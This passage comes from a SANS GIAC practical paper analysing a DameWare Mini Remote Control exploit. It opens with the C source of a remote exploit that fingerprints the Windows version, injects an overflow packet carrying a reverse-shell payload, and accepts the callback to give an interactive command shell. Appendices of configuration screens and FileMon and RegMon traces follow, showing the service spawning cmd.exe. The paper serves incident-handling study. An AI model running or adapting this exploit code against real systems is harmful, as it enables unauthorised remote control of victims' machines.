memcpy(send_packet+520,kyrgyz_rshell,strlen(kyrgyz_rshell));
memcpy(send_packet+0x3d0,"neTmaNiac",9);
memcpy(send_packet+0x5b4+0x24,"netmaniac was here",18);
memcpy(send_packet+0x5b4+0x128,"12/12/04 13:13:13",17);
memcpy(send_packet+0x5b4+0x538,"netninjaz_place",15);
memcpy(send_packet+0x5b4+0x5b4+0x88,"131.131.131.131",16);
memcpy(send_packet+0x5b4+0x5b4+0x394,"3.72.0.0",strlen("3.72.0.0"));

printf("\t[ OK ]\n");

printf("[*] Connecting to %s:%s...",argv[1],argv[2]);

if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{

printf("\n[x] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);

}
printf("\t\t[ OK ]\n");

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{

recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
}
else
{

printf("[x] Timeout! Failed to recv packet.\n");
exit(1);

}

//DumpMemory(recv_buff1,50);
memset(recv_buff1,0,sizeof(recv_buff1));

switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);

if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
{

printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();

return 1;
}

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(sockTCP+1,&fds,0,0,&tv))>0)
{

recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
switchon=0;
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ioctlsocket(sockTCP,FIONBIO,&switchon);
if (send(sockTCP, send_packet, sizeof(send_packet),0) == -1)
{

printf("[x] Failed to inject packet2! Exiting...\n");
WSACleanup();

return 1;
}

}
else
{

printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
WSACleanup();

return 1;
}

printf("[*] Packet injected!\n");
closesocket(sockTCP);
printf("[*] Waiting for incoming connection...\r");

switchon=1;
ioctlsocket(localSockTCP,FIONBIO,&switchon);
tv.tv_sec = ACCEPT_TIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(localSockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{

acsz = sizeof(inAccTCP);
accSockTCP = accept(localSockTCP,(struct sockaddr *)&inAccTCP, &acsz);
printf("[*] Connection request accepted: %s:%d\n", inet_ntoa(inAccTCP.sin_addr),

(int)ntohs(inAccTCP.sin_port));
printf("[*] Dropping to shell...\n\n");
cmdshell(accSockTCP);

}
else
{

printf("\n[x] Exploit appears to have failed!\n");
WSACleanup();

}

return 0;
}
/*********************************************************************************/
int check_os(char *host,unsigned short target_port, unsigned int *sp)
{

int sockTCP,switchon;
struct sockaddr_in targetTCP;
struct timeval tv;
fd_set fds;

memset(&targetTCP,0,sizeof(targetTCP));
targetTCP.sin_family = AF_INET;

targetTCP.sin_addr.s_addr = inet_addr(host);
targetTCP.sin_port = htons(target_port);

if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{

printf("\t\t\t[ FAILED ]\n Socket1 not initialized! Exiting...\n");
WSACleanup();

return 1;
}

if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{

printf("[x] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);

}

switchon=1;
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ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(1,&fds,0,0,&tv))>0)
{

recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
}
else
{

printf("[x] Timeout! Doesn't appear to b a DMWRCS\n");
exit(1);

}

switchon=0;
ioctlsocket(sockTCP,FIONBIO,&switchon);

if (send(sockTCP, send_buff, sizeof(send_buff),0) == -1)
{

printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();

return 1;
}

switchon=1;
ioctlsocket(sockTCP,FIONBIO,&switchon);
tv.tv_sec = RECVTIMEOUT;
tv.tv_usec = 0;
FD_ZERO(&fds);
FD_SET(sockTCP,&fds);

if((select(sockTCP+1,&fds,0,0,&tv))>0)
{

recv(sockTCP, recv_buff1, sizeof(recv_buff1),0);
closesocket(sockTCP);

}
else
{

printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
WSACleanup();

return 1;
}

printf("\n OS Info : ");
if(recv_buff1[8]==5 && recv_buff1[12]==0)
{

printf("WIN2000 [ver 5.0.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);

*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WIN2K;

}
else if(recv_buff1[8]==5 && recv_buff1[12]==1)
{

printf("WINXP [ver 5.1.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);

*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WINXP;

}
else if(recv_buff1[8]==5 && recv_buff1[12]==2)
{

printf("WIN2003 [ver 5.2.%d]\n SP String : %-1.20s\n\n",*(unsigned short
*)&recv_buff1[16],&recv_buff1[24]);

*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WIN2K3;

}
else if(recv_buff1[8]==4)
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{
printf("WINNT4\n SP String : %-1.20s\n\n",&recv_buff1[24]);
*sp = atoi(&recv_buff1[37]);
closesocket(sockTCP);
return ID_WINNT;

}
else
{

printf("UNKNOWN\n");
closesocket(sockTCP);
return ID_UNKNOWN;

}

}
/*********************************************************************************/
long gimmeip(char *hostname)
{

struct hostent *he;
long ipaddr;

if ((ipaddr = inet_addr(hostname)) < 0)
{

if ((he = gethostbyname(hostname)) == NULL)
{

printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);

}
memcpy(&ipaddr, he->h_addr, he->h_length);

}
return ipaddr;

}
/*********************************************************************************/
void cmdshell (int sock)
{
struct timeval tv;
int length;
unsigned long o[2];
char buffer[1000];

tv.tv_sec = 1;
tv.tv_usec = 0;

while (1)
{

o[0] = 1;
o[1] = sock;

length = select (0, (fd_set *)&o, NULL, NULL, &tv);
if(length == 1)
{

length = recv (sock, buffer, sizeof (buffer), 0);
if (length <= 0)
{

printf ("[x] Connection closed.\n");
WSACleanup();
return;

}
length = write (1, buffer, length);
if (length <= 0)
{

printf ("[x] Connection closed.\n");
WSACleanup();
return;

}
}
else
{

length = read (0, buffer, sizeof (buffer));
if (length <= 0)
{
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printf("[x] Connection closed.\n");
WSACleanup();
return;

}
length = send(sock, buffer, length, 0);
if (length <= 0)
{

printf("[x] Connection closed.\n");
WSACleanup();
return;

}
}

}

}
/*********************************************************************************/
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Appendix C - DameWare Configuration Screens.

DameWare’sAdditional Settings Tab.
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DameWare’s Notify Tab.



©
 S

A
N

S 
In

st
itu

te
 2

00
4,

 A
ut

ho
r 

re
ta

in
s f

ul
l r

ig
ht

s.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.

91

DameWare’sUser Options Tab.
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DameWare’sSimple Transfer Screen.
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Appendix D - FileMon output.

1 3:32:01 PM explorer.exe:1400 OPEN C:\ SUCCESS Options: Open Directory
Access: All
2 3:32:01 PM explorer.exe:1400 CLOSE C:\ SUCCESS
3 3:32:01 PM explorer.exe:1400 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Attributes: A
4 3:32:01 PM explorer.exe:1400 OPEN C:\WINDOWS\SYSTEM32\DWRCS.EXE

SUCCESS Options: Open Access: Execute
5 3:32:01 PM explorer.exe:1400 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Length: 233472
6 3:32:01 PM explorer.exe:1400 CLOSE C:\WINDOWS\SYSTEM32\DWRCS.EXE

SUCCESS
7 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\ SUCCESS Options:
Open Directory Access: All
8 3:32:02 PM DWRCS.EXE:1796 DIRECTORY C:\WINDOWS\SYSTEM32\ NO SUCH FILE

FileBothDirectoryInformation: DWRCShell.DLX
9 3:32:02 PM DWRCS.EXE:1796 CLOSE C:\WINDOWS\SYSTEM32\ SUCCESS
10 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\ SUCCESS Options:
Open Directory Access: All
11 3:32:02 PM DWRCS.EXE:1796 DIRECTORY C:\WINDOWS\SYSTEM32\ NO SUCH FILE

FileBothDirectoryInformation: DWRCK.DLx
12 3:32:02 PM DWRCS.EXE:1796 CLOSE C:\WINDOWS\SYSTEM32\ SUCCESS
13 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\ SUCCESS Options:
Open Directory Access: All
14 3:32:02 PM DWRCS.EXE:1796 DIRECTORY C:\WINDOWS\SYSTEM32\ NO SUCH FILE

FileBothDirectoryInformation: DWRCSET.DLx
15 3:32:02 PM DWRCS.EXE:1796 CLOSE C:\WINDOWS\SYSTEM32\ SUCCESS
16 3:32:02 PM services.exe:508 WRITE C:\WINDOWS\system32\config\AppEvent.Evt

SUCCESS Offset: 146712 Length: 272
17 3:32:02 PM services.exe:508 WRITE C:\WINDOWS\system32\config\AppEvent.Evt

SUCCESS Offset: 146984 Length: 40
18 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Attributes: A
19 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Attributes: A
20 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Attributes: A
21 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Attributes: A
22 3:32:02 PM services.exe:508 WRITE C:\WINDOWS\system32\config\AppEvent.Evt

SUCCESS Offset: 146984 Length: 1372
23 3:32:02 PM services.exe:508 WRITE C:\WINDOWS\system32\config\AppEvent.Evt

SUCCESS Offset: 148356 Length: 40
24 3:32:02 PM explorer.exe:1400 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Attributes: A
25 3:32:02 PM explorer.exe:1400 OPEN C:\WINDOWS\SYSTEM32\DWRCS.EXE

SUCCESS Options: Open Access: Execute
26 3:32:02 PM explorer.exe:1400 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Length: 233472
27 3:32:02 PM explorer.exe:1400 CLOSE C:\WINDOWS\SYSTEM32\DWRCS.EXE

SUCCESS
28 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\ SUCCESS Options:
Open Directory Access: All
29 3:32:02 PM DWRCS.EXE:1796 DIRECTORY C:\WINDOWS\SYSTEM32\ NO SUCH FILE

FileBothDirectoryInformation: DWRCShell.DLX
30 3:32:02 PM DWRCS.EXE:1796 CLOSE C:\WINDOWS\SYSTEM32\ SUCCESS
31 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\ SUCCESS Options:
Open Directory Access: All
32 3:32:02 PM DWRCS.EXE:1796 DIRECTORY C:\WINDOWS\SYSTEM32\ NO SUCH FILE

FileBothDirectoryInformation: DWRCK.DLx
33 3:32:02 PM DWRCS.EXE:1796 CLOSE C:\WINDOWS\SYSTEM32\ SUCCESS
34 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\ SUCCESS Options:
Open Directory Access: All
35 3:32:02 PM DWRCS.EXE:1796 DIRECTORY C:\WINDOWS\SYSTEM32\ NO SUCH FILE

FileBothDirectoryInformation: DWRCSET.DLx
36 3:32:02 PM DWRCS.EXE:1796 CLOSE C:\WINDOWS\SYSTEM32\ SUCCESS
37 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION C:\WINDOWS\SYSTEM32\security.dll

SUCCESS Attributes: A
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38 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\security.dll SUCCESS
Options: Open Access: Execute

39 3:32:02 PM DWRCS.EXE:1796 CLOSE C:\WINDOWS\SYSTEM32\security.dll SUCCESS

40 3:32:02 PM msmsgs.exe:1648 QUERY INFORMATION C:\WINDOWS\System32\rsaenh.dll
SUCCESS Attributes: A

41 3:32:02 PM services.exe:508 WRITE C:\WINDOWS\system32\config\AppEvent.Evt
SUCCESS Offset: 148356 Length: 300

42 3:32:02 PM services.exe:508 WRITE C:\WINDOWS\system32\config\AppEvent.Evt
SUCCESS Offset: 148656 Length: 40

43 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION C:\WINDOWS\SYSTEM32\cmd.exe
SUCCESS Attributes: A

44 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION C:\WINDOWS\SYSTEM32\cmd.exe
SUCCESS Attributes: A

45 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\cmd.exe SUCCESS
Options: Open Access: All

46 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION C:\WINDOWS\SYSTEM32\cmd.exe
SUCCESS Attributes: A

47 3:32:02 PM DWRCS.EXE:1796 QUERY INFORMATION C:\WINDOWS\SYSTEM32\cmd.exe
SUCCESS Length: 375808

48 3:32:02 PM VMwareService.e:1896 OPEN C:\Program Files\VMware\ SUCCESS
Options: Open Directory Access: All

49 3:32:02 PM VMwareService.e:1896 DIRECTORY C:\Program Files\VMware\
SUCCESS FileBothDirectoryInformation: tools.conf

50 3:32:02 PM VMwareService.e:1896 CLOSE C:\Program Files\VMware\ SUCCESS

51 3:32:02 PM DWRCS.EXE:1796 OPEN C:\WINDOWS\SYSTEM32\cmd.exe.Manifest FILE NOT
FOUND Options: Open Access: All
52 3:32:02 PM DWRCS.EXE:1796 CLOSE C:\WINDOWS\SYSTEM32\cmd.exe SUCCESS

53 3:32:02 PM cmd.exe:2012 QUERY INFORMATION C:\WINDOWS\system32\cmd.exe
SUCCESS FileNameInformation

54 3:32:02 PM cmd.exe:2012 OPEN C:\WINDOWS\Prefetch\CMD.EXE-087B4001.pf
SUCCESS Options: Open Access: All

55 3:32:02 PM cmd.exe:2012 QUERY INFORMATION C:\WINDOWS\Prefetch\CMD.EXE-
087B4001.pf SUCCESS Length: 4456
56 3:32:02 PM cmd.exe:2012 READ C:\WINDOWS\Prefetch\CMD.EXE-087B4001.pf

SUCCESS Offset: 0 Length: 4456
57 3:32:02 PM cmd.exe:2012 CLOSE C:\WINDOWS\Prefetch\CMD.EXE-087B4001.pf

SUCCESS
58 3:32:02 PM cmd.exe:2012 QUERY INFORMATION

C:\WINDOWS\SYSTEM32\cmd.exe.Local FILE NOT FOUND Attributes: Error
59 3:32:02 PM csrss.exe:428 QUERY INFORMATION C:\WINDOWS\system32\cmd.exe

SUCCESS Attributes: A
60 3:32:02 PM csrss.exe:428 QUERY INFORMATION C:\WINDOWS\system32\cmd.exe

SUCCESS Attributes: A
61 3:32:02 PM csrss.exe:428 OPEN C:\WINDOWS\system32\cmd.exe SUCCESS

Options: Open Access: All
62 3:32:02 PM csrss.exe:428 QUERY INFORMATION C:\WINDOWS\system32\cmd.exe

SUCCESS Attributes: A
63 3:32:02 PM csrss.exe:428 SET INFORMATION C:\WINDOWS\system32\cmd.exe

SUCCESS FileBasicInformation
64 3:32:02 PM csrss.exe:428 READ C:\WINDOWS\system32\cmd.exe SUCCESS

Offset: 0 Length: 12
65 3:32:02 PM csrss.exe:428 QUERY INFORMATION C:\WINDOWS\system32\cmd.exe

SUCCESS Length: 375808
66 3:32:02 PM csrss.exe:428 QUERY INFORMATION C:\WINDOWS\system32\cmd.exe

SUCCESS Length: 375808
67 3:32:02 PM csrss.exe:428 CLOSE C:\WINDOWS\system32\cmd.exe SUCCESS

68 3:32:02 PM cmd.exe:2012 QUERY INFORMATION C:\WINDOWS\system32
SUCCESS Attributes: D

69 3:32:02 PM cmd.exe:2012 OPEN C:\ SUCCESS Options: Open Directory
Access: All
70 3:32:02 PM cmd.exe:2012 DIRECTORY C:\ SUCCESS

FileBothDirectoryInformation: WINDOWS
71 3:32:02 PM cmd.exe:2012 CLOSE C:\ SUCCESS
72 3:32:02 PM cmd.exe:2012 OPEN C:\WINDOWS\ SUCCESS Options: Open
Directory Access: All
73 3:32:02 PM cmd.exe:2012 DIRECTORY C:\WINDOWS\ SUCCESS

FileBothDirectoryInformation: system32
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74 3:32:02 PM cmd.exe:2012 CLOSE C:\WINDOWS\ SUCCESS
75 3:32:02 PM cmd.exe:2012 QUERY INFORMATION C:\WINDOWS\system32

SUCCESS Attributes: D
76 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR

SUCCESS Offset: 458752 Length: 8192
77 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR

SUCCESS Offset: 753664 Length: 8192
78 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR

SUCCESS Offset: 196608 Length: 8192
79 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR

SUCCESS Offset: 32768 Length: 8192
80 3:32:05 PM svchost.exe:928 READ

C:\WINDOWS\system32\wbem\Repository\FS\OBJECTS.DATA SUCCESS Offset: 5300224
Length: 8192
81 3:32:05 PM svchost.exe:928 READ

C:\WINDOWS\system32\wbem\Repository\FS\OBJECTS.DATA SUCCESS Offset: 73728
Length: 8192
82 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR

SUCCESS Offset: 180224 Length: 8192
83 3:32:05 PM svchost.exe:928 READ

C:\WINDOWS\system32\wbem\Repository\FS\OBJECTS.DATA SUCCESS Offset: 3153920
Length: 8192
84 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR

SUCCESS Offset: 655360 Length: 8192
85 3:32:05 PM svchost.exe:928 READ

C:\WINDOWS\system32\wbem\Repository\FS\OBJECTS.DATA SUCCESS Offset: 2572288
Length: 8192
86 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR

SUCCESS Offset: 606208 Length: 8192
87 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR

SUCCESS Offset: 450560 Length: 8192
88 3:32:05 PM svchost.exe:928 QUERY INFORMATION C:\WINDOWS\system32\rpcss.dll

SUCCESS Attributes: A
89 3:32:05 PM svchost.exe:928 OPEN C:\WINDOWS\system32\rpcss.dll SUCCESS

Options: Open Access: Execute
90 3:32:05 PM svchost.exe:928 QUERY INFORMATION C:\WINDOWS\system32\rpcss.dll

SUCCESS Length: 260608
91 3:32:05 PM svchost.exe:928 CLOSE C:\WINDOWS\system32\rpcss.dll SUCCESS

92 3:32:05 PM svchost.exe:928 READ C:\WINDOWS\system32\wbem\Repository\FS\INDEX.BTR
SUCCESS Offset: 16384 Length: 8192

93 3:32:05 PM svchost.exe:928 QUERY INFORMATION C:\WINDOWS\system32\rpcss.dll
SUCCESS Attributes: A

94 3:32:05 PM svchost.exe:928 OPEN C:\WINDOWS\system32\rpcss.dll SUCCESS
Options: Open Access: Execute

95 3:32:05 PM svchost.exe:928 QUERY INFORMATION C:\WINDOWS\system32\rpcss.dll
SUCCESS Length: 260608

96 3:32:05 PM svchost.exe:928 CLOSE C:\WINDOWS\system32\rpcss.dll SUCCESS

97 3:32:05 PM msmsgs.exe:1648 QUERY INFORMATION C:\WINDOWS\System32\rsaenh.dll
SUCCESS Attributes: A

98 3:32:07 PM explorer.exe:1400 QUERY INFORMATION
C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Attributes: A

99 3:32:07 PM explorer.exe:1400 OPEN C:\WINDOWS\SYSTEM32\DWRCS.EXE
SUCCESS Options: Open Access: Execute

100 3:32:07 PM explorer.exe:1400 QUERY INFORMATION
C:\WINDOWS\SYSTEM32\DWRCS.EXE SUCCESS Length: 233472

101 3:32:07 PM explorer.exe:1400 CLOSE C:\WINDOWS\SYSTEM32\DWRCS.EXE
SUCCESS

102 3:32:07 PM VMwareService.e:1896 OPEN C:\Program Files\VMware\ SUCCESS
Options: Open Directory Access: All

103 3:32:07 PM VMwareService.e:1896 DIRECTORY C:\Program Files\VMware\
SUCCESS FileBothDirectoryInformation: tools.conf

104 3:32:07 PM VMwareService.e:1896 CLOSE C:\Program Files\VMware\ SUCCESS
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Appendix E - RegMon output.

1 19.06563572 svchost.exe:1064 QueryValue
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind SUCCESS "\Device\{53882FC4-7CC5-

4982-92F1-FFD45FEDB57B}"
2 19.06569746 svchost.exe:1064 QueryValue

HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind SUCCESS "\Device\{53882FC4-7CC5-
4982-92F1-FFD45FEDB57B}"
3 19.06813659 svchost.exe:1064 OpenKey

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{53882FC4-7CC5-4982-92F1-
FFD45FEDB57B} SUCCESS Key: 0xE11C09B0
4 19.06818548 svchost.exe:1064 QueryValue

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{53882FC4-7CC5-4982-92F1-
FFD45FEDB57B}\EnableDHCP SUCCESS 0x1
5 19.06822850 svchost.exe:1064 QueryValue

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{53882FC4-7CC5-4982-92F1-
FFD45FEDB57B}\LeaseObtainedTime SUCCESS 0x40896FA5
6 19.06826845 svchost.exe:1064 QueryValue

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{53882FC4-7CC5-4982-92F1-
FFD45FEDB57B}\LeaseTerminatesTime SUCCESS 0x408976AD
7 19.06830645 svchost.exe:1064 QueryValue

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{53882FC4-7CC5-4982-92F1-
FFD45FEDB57B}\DhcpServerSUCCESS "172.16.60.254"
8 19.06834248 svchost.exe:1064 QueryValue

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{53882FC4-7CC5-4982-92F1-
FFD45FEDB57B}\DhcpServerSUCCESS "172.16.60.254"
9 19.06844753 svchost.exe:1064 CloseKey

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{53882FC4-7CC5-4982-92F1-
FFD45FEDB57B} SUCCESS Key: 0xE11C09B0
10 19.06966668 DWRCS.EXE:1796 CreateKey

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Key: 0xE1A1A720
11 19.06975468 DWRCS.EXE:1796 OpenKey

HKLM\System\CurrentControlSet\Services\DnsCache\Parameters SUCCESS Key: 0xE1A024D0
12 19.06980049 DWRCS.EXE:1796 OpenKey HKLM\Software\Policies\Microsoft\Windows NT\DnsClient

NOTFOUND
13 19.06983960 DWRCS.EXE:1796 QueryValue

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Hostname SUCCESS "winxp-0"
14 19.06987061 DWRCS.EXE:1796 QueryValue

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Hostname SUCCESS "winxp-0"
15 19.06993263 DWRCS.EXE:1796 CloseKey

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Key: 0xE1A1A720
16 19.06998152 DWRCS.EXE:1796 CloseKey

HKLM\System\CurrentControlSet\Services\DnsCache\Parameters SUCCESS Key: 0xE1A024D0
17 19.07065758 DWRCS.EXE:1796 CreateKey

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Key: 0xE1394B80
18 19.07073050 DWRCS.EXE:1796 OpenKey

HKLM\System\CurrentControlSet\Services\DnsCache\Parameters SUCCESS Key: 0xE18F6EF8
19 19.07077156 DWRCS.EXE:1796 OpenKey HKLM\Software\Policies\Microsoft\Windows NT\DnsClient

NOTFOUND
20 19.07081459 DWRCS.EXE:1796 OpenKey HKLM\Software\Policies\Microsoft\System\DNSClient

NOTFOUND
21 19.07084671 DWRCS.EXE:1796 QueryValue

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Domain SUCCESS ""
22 19.07088163 DWRCS.EXE:1796 QueryValue

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Domain SUCCESS ""
23 19.07095064 DWRCS.EXE:1796 CloseKey

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Key: 0xE1394B80
24 19.07099869 DWRCS.EXE:1796 CloseKey

HKLM\System\CurrentControlSet\Services\DnsCache\Parameters SUCCESS Key: 0xE18F6EF8
25 19.14336850 DWRCS.EXE:1796 CreateKey

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Key: 0xE114F370
26 19.14348751 DWRCS.EXE:1796 OpenKey

HKLM\System\CurrentControlSet\Services\DnsCache\Parameters SUCCESS Key: 0xE1415300
27 19.14355456 DWRCS.EXE:1796 OpenKey HKLM\Software\Policies\Microsoft\Windows NT\DnsClient

NOTFOUND
28 19.14361965 DWRCS.EXE:1796 QueryValue

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Hostname SUCCESS "winxp-0"
29 19.14366547 DWRCS.EXE:1796 QueryValue

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Hostname SUCCESS "winxp-0"
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30 19.14387667 DWRCS.EXE:1796 CloseKey
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Key: 0xE114F370

31 19.14394762 DWRCS.EXE:1796 CloseKey
HKLM\System\CurrentControlSet\Services\DnsCache\Parameters SUCCESS Key: 0xE1415300

32 19.14466168 DWRCS.EXE:1796 CreateKey
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Key: 0xE1415300

33 19.14476449 DWRCS.EXE:1796 OpenKey
HKLM\System\CurrentControlSet\Services\DnsCache\Parameters SUCCESS Key: 0xE114F370

34 19.14482762 DWRCS.EXE:1796 OpenKey HKLM\Software\Policies\Microsoft\Windows NT\DnsClient
NOTFOUND

35 19.14489272 DWRCS.EXE:1796 OpenKey HKLM\Software\Policies\Microsoft\System\DNSClient
NOTFOUND

36 19.14494161 DWRCS.EXE:1796 QueryValue
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Domain SUCCESS ""

37 19.14498658 DWRCS.EXE:1796 QueryValue
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Domain SUCCESS ""

38 19.14506760 DWRCS.EXE:1796 CloseKey
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Key: 0xE1415300

39 19.14513660 DWRCS.EXE:1796 CloseKey
HKLM\System\CurrentControlSet\Services\DnsCache\Parameters SUCCESS Key: 0xE114F370

40 19.18601750 DWRCS.EXE:1796 OpenKey HKCU\Software\Microsoft\Windows
NT\CurrentVersion\AppCompatFlags\Layers NOTFOUND
41 19.18615047 DWRCS.EXE:1796 OpenKey HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\cmd.exe NOTFOUND
42 19.27798365 cmd.exe:1880 OpenKey HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\cmd.exe NOTFOUND
43 19.28194757 cmd.exe:1880 OpenKey HKLM\System\CurrentControlSet\Control\Terminal Server

SUCCESS Key: 0xE114F370
44 19.28201769 cmd.exe:1880 QueryValue HKLM\System\CurrentControlSet\Control\Terminal
Server\TSAppCompat SUCCESS 0x0
45 19.28211854 cmd.exe:1880 CloseKey HKLM\System\CurrentControlSet\Control\Terminal Server

SUCCESS Key: 0xE114F370
46 19.29146162 csrss.exe:428 OpenKey HKCU SUCCESS Key: 0xE114F370
47 19.29179770 csrss.exe:428 OpenKey HKCU\Console SUCCESS Key: 0xE1415300
48 19.29195861 csrss.exe:428 QueryKeyHKCU\Console BUFOVRFLOW
49 19.29202566 csrss.exe:428 OpenKey HKCU\Console\%SystemRoot%_SYSTEM32_cmd.exe

NOTFOUND
50 19.29207371 csrss.exe:428 OpenKey HKCU\Console\C:_WINDOWS_SYSTEM32_cmd.exe

NOTFOUND
51 19.29218462 csrss.exe:428 CloseKey HKCU\Console SUCCESS Key: 0xE1415300
52 19.29239861 csrss.exe:428 CloseKey HKCU SUCCESS Key: 0xE114F370
53 19.29284057 csrss.exe:428 OpenKey

HKLM\System\CurrentControlSet\Control\Nls\CodePage\EUDCCodeRange SUCCESS Key:
0xE114F370
54 19.29289952 csrss.exe:428 QueryValue

HKLM\System\CurrentControlSet\Control\Nls\CodePage\EUDCCodeRange\1252NOTFOUND
55 19.29297355 csrss.exe:428 CloseKey

HKLM\System\CurrentControlSet\Control\Nls\CodePage\EUDCCodeRange SUCCESS Key:
0xE114F370
56 19.30105055 winlogon.exe:452 OpenKey HKCU SUCCESS Key: 0xE1415300
57 19.30114861 winlogon.exe:452 OpenKey HKCU\AppEvents\Schemes\Apps\.Default\Open\.Current

SUCCESS Key: 0xE112B450
58 19.30121175 winlogon.exe:452 QueryValue

HKCU\AppEvents\Schemes\Apps\.Default\Open\.Current\(Default) SUCCESS ""
59 19.30142462 winlogon.exe:452 CloseKey HKCU\AppEvents\Schemes\Apps\.Default\Open\.Current

